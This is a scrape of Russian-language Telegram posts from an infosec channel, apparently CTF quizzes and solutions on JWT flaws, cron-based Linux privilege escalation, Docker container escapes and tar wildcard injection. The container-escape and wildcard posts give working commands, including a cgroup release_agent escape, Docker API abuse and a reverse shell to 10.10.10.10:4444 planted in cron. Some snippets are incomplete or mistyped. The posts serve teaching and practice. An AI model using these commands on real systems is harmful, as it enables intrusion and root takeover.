Библиотека хакера | Hacking, Infosec, ИБ, информационная безопасность
12.6K subscribers
2.22K photos
133 videos
182 files
3.26K links
Все самое полезное по инфобезу в одном канале.

Список наших каналов: https://xn--r1a.website/proglibrary/9197

Для обратной связи: @proglibrary_feeedback_bot

По рекламе: @proglib_adv
РКН: https://gosuslugi.ru/snet/67ab0e2e75b36e054ef6d5bf
Download Telegram
📌 Разбор хакер-челленджа

Раннее мы выкладывали задачу 📎

Правильный ответ: 👾

Наиболее критичен None algorithm bypass, если тестовая логика доступна извне — это мгновенный обход. На втором месте — algorithm confusion, часто эксплуатируемая при неправильной поддержке нескольких алгоритмов.

🛡️ Что сделать немедленно:

• Отключить поддержку alg: "none" во всех окружениях.

• Убрать любые fallback-алгоритмы; явно принимать только ожидаемый алгоритм (например, только RS256).

• Валидировать kid/iss/aud и проверять, что ключи из JWKS приходят из доверенного источника; кэшировать JWKS.

• Не использовать публичный RSA-ключ в качестве HMAC-секрета и хранить приватные ключи в безопасном хранилище (KMS/HSM).

• Логировать и мониторить аномалии подписи и подозрительные alg/kid запросы.


Пример безопасной проверки (псевдокод, defensive):


# явно разрешённые алгоритмы и строгая проверка
jwt.decode(token, public_key, algorithms=['RS256'], audience='your-aud', issuer='your-iss’)


🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰5👾4👏2
🤔 Хакер-челлендж

Сценарий: обычный пользователь ctfuser на Linux-VM (пароль ctfpass123`). На VM есть устаревшие пакеты и ошибочные конфигурации.

Цель — поднять привилегии до `root и прочитать /root/flag.txt.

Ключевые факты:

* В системе есть несколько SUID-бинарников.

* В `/etc/cron.d/` есть cron, который вызывает скрипт от root; сам скрипт хранится в директории, куда `ctfuser` может писать.

* Работает локальный daemon, слушающий только 127.0.0.1.

* Установлены старые пакеты — возможен известный локальный CVE.

* В домашней директории `ctfuser` есть `backup/old_script.sh` и `.bash_history` с намёками.


Подсказка: начните с enumeration — sudo -l, find / -perm -4000 -type f, просмотрите cron'ы и права на скрипты.

Какой вектор атаки наиболее эффективен для получения root/флага? Голосуйте эмодзи:

🔥 — SUID-эксплойт: найти SUID-бинарник, позволяющий исполнить shell/прочитать файлы root

👾 — Cron + writable script: подменить root-скрипт, который запускается по cron

❤️ — Sudo misconfig: NOPASSWD или небезопасные шаблоны в sudoers дают shell

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
👾21🔥32🥰1
🤔 Разбор хакер-челленджа

У нас Linux-VM с пользователем ctfuser и набором типичных для CTF уязвимостей: SUID-бинарники, кривые cron’ы, локальный сервис и старые пакеты. Цель — стать root и прочитать /root/flag.txt.

🔍 Что важно при первичном осмотре:

— в /etc/cron.d/ есть задание от root, но сам вызываемый скрипт лежит в директории, куда может писать ctfuser

— среди SUID-файлов нет очевидных «подарков» типа старых версий find/vim

— локальный daemon слушает только 127.0.0.1, но эксплойт требует уже повышенных прав

— в $HOME/backup есть старый old_script.sh, но он не исполняется автоматически

— .bash_history намекает, что админ вручную запускал этот cron-скрипт во время тестов

🎯 Самый надёжный и быстрый путь — подмена root-скрипта, который запускается по cron. Это гарантированное исполнение с UID=0 и полный контроль над содержимым. Достаточно вписать туда shell-спавн или перепись /root/flag.txt в доступное место.

🔤 Ответ: 👾 Cron + writable script

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰4👍31
🐳 Побег из контейнера

Сценарий: вы получили RCE в веб-приложении, которое работает в Docker-контейнере. У вас есть shell от пользователя www-data внутри контейнера.

Цель — выбраться на хост-систему и прочитать /host/root/flag.txt.

Каким способом выйдете на хост, голосуйте реакциями:

🔥Mount host disk: смонтировать /dev/sda1 и читать файлы хоста напрямую

👾Docker API abuse: подключиться к tcp://172.17.0.1:2375 и запустить новый контейнер с volume хоста

❤️Namespace escape: через /proc/1/root попытаться получить доступ к init-процессу хоста

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
👾125🔥4
🔓 Разбор задачи

Правильный ответ: ВСЕ ТРИ работают, но с нюансами!

➡️ Mount host disk

Почему работает:

Флаг --privileged отключает изоляцию устройств. Контейнер видит все диски хоста.

Эксплойт:


Шаг 1: Смотрим доступные диски
fdisk -l

Видим /dev/sda1 (корень хоста)

Шаг 2: Монтируем
mkdir /mnt/host
mount /dev/sda1 /mnt/host

Шаг 3: Профит!
cat /mnt/host/root/flag.txt


🟢 Плюсы: элементарно, 3 команды
🔴 Минусы: оставляет следы в логах монтирования

➡️ Docker API abuse

Почему работает:
Если DOCKER_HOST открыт без TLS, можем создавать контейнеры от имени хоста.

Эксплойт:


Проверяем доступ к API
curl http://172.17.0.1:2375/version

Запускаем новый контейнер с volume хоста
docker -H tcp://172.17.0.1:2375 run -v /:/host \
-it alpine chroot /host sh

Теперь мы root на хосте!
cat /root/flag.txt


🟢 Плюсы: полный root-доступ, можем делать всё

🔴 Минусы: нужен Docker CLI в контейнере (не всегда есть)

➡️ Cgroup escape (КЛАССИКА)

Почему работает:
Privileged-контейнер может писать в cgroup notify_on_release и выполнить код на хосте.

Эксплойт:


Создаём cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
cd /tmp/cgrp

Включаем notify_on_release
echo 1 > cgroup.procs
echo 1 > notify_on_release

Пишем скрипт, который выполнится на хосте
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > release_agent

Создаём команду
cat /root/flag.txt > /output


🟢 Плюсы: работает даже без явных устройств
🔴 Минусы: сложнее, требует понимания cgroups

💬 Какой способ использовали бы вы?

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4👍3🥰3
🐧 Wildcard Injection Challenge

Сценарий: shell от www-data, sudo нет, SUID чистые.

Нашли cron:

* * * * * root cd /var/www/html && tar -czf /backups/site.tar.gz *


Права:

drwxrwxrwx 2 www-data www-data /var/www/html
-rwxr-xr-x 1 root root /opt/scripts/backup.sh


Цель: root shell через wildcard injection

Какой payload положите в /var/www/html/:

🔥


echo "cp /bin/bash /tmp/r; chmod +s /tmp/r" > x.sh
chmod +x x.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=/bin/sh x.sh»


👾


ln -s /etc/shadow shadow.txt
tar -czf exploit.tar.gz shadow.txt


❤️


echo '* * * * * root bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' > /etc/cron.d/rev


🤩


chmod 777 /opt/scripts/backup.sh
echo "cp /bin/bash /tmp/r && chmod +s /tmp/r" > /opt/scripts/backup.sh


Подсказка: tar * раскроет имена файлов в аргументы. После срабатывания: /tmp/r -p → root.

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🤩41🔥1🥰1👾1